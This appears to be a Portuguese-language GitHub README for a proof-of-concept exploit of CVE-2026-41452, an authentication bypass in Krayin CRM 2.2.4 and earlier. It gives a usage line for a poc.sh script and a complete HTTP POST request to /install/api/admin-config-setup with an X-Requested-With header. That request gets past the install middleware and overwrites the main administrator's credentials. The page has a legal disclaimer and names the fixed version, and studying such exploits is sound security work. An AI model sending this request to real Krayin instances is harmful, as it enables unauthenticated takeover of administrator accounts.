o-sec/cve-2026-41452-pocProof-of-concept de exploit para CVE-2026-41452, uma falha crítica de bypass de autenticação no Krayin CRM <= 2.2.4 que permite a tomada de controle de contas de administrador sem autenticação por meio de bypass de middleware.
Uma Prova de Conceito (PoC) demonstrando uma vulnerabilidade crítica de autenticação ausente (CVE-2026-41452) que afeta o Krayin CRM versão 2.2.4 e anteriores.
Esta falha permite que atacantes remotos não autenticados contornem a lógica do middleware de instalação da aplicação (CanInstall) ao injetar cabeçalhos HTTP específicos, levando à sobrescrita completa da configuração da conta de administrador principal.
[!WARNING]
Aviso Legal: Este repositório e as informações aqui contidas são fornecidos estritamente para fins educacionais, pesquisa de segurança e auditoria defensiva autorizada. Testes ou exploração não autorizados de sistemas computacionais são estritamente ilegais. O autor não assume qualquer responsabilidade por qualquer uso indevido deste material.
CVE ID: CVE-2026-41452
Tipo de Vulnerabilidade: Autenticação Ausente / Bypass de Middleware
Severidade: Crítica (CVSS 9.8)
Software Afetado: Krayin CRM <= 2.2.4
Versão Corrigida: Krayin CRM >= 2.2.5
A vulnerabilidade reside no middleware de configuração da aplicação. Um atacante não autenticado pode anexar um cabeçalho X-Requested-With: XMLHttpRequest a um payload criado especificamente para o endpoint /install/api/admin-config-setup. Isso suprime a verificação de redirecionamento esperada dentro do middleware CanInstall, expondo uma operação de banco de dados updateOrInsert não autenticada que tem como alvo o ID fixo (1) do administrador principal do sistema.
Execute o script contra uma instância alvo que você está autorizado a testar:
./poc.sh <TARGET-URL> <USERNAME> <EMAIL> <PASSWORD>
Nos bastidores, o bypass é acionado através da seguinte estrutura de transação HTTP:
POST /install/api/admin-config-setup HTTP/1.1
Host: target-crm.local
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
name=test1&[email protected]&password=Password123